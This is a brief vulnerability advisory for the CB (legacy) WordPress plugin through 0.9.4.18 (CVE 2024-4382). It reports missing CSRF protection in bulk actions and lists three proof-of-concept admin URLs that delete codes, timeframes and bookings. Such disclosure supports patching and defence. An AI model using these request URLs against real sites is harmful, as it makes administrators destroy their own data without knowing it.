CB (legacy) <= 0.9.4.18 – Code/Timeframe/Booking Deletion via CSRF | CVE 2024-4382

Description

The plugin does not have CSRF checks in some bulk actions, which could allow attackers to make logged in admins perform unwanted actions, such as deleting codes, timeframes, and bookings via CSRF attacks

Proof of Concept

Codes:
https://example.com/wp-admin/admin.php?page=cb_codes&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dcb_codes&action=delete&filterby-Items=&paged=1&id%5B%5D=1&action2=delete

Timeframes:

https://example.com/wp-admin/admin.php?page=cb_timeframes&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dcb_timeframes&action=delete&filterby-Items=&paged=1&id%5B0%5D=1&action2=delete

Bookings:

https://example.com/wp-admin/admin.php?page=cb_bookings&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dcb_bookings&action=delete&filterby-Items=&paged=1&id%5B0%5D=1&action2=delete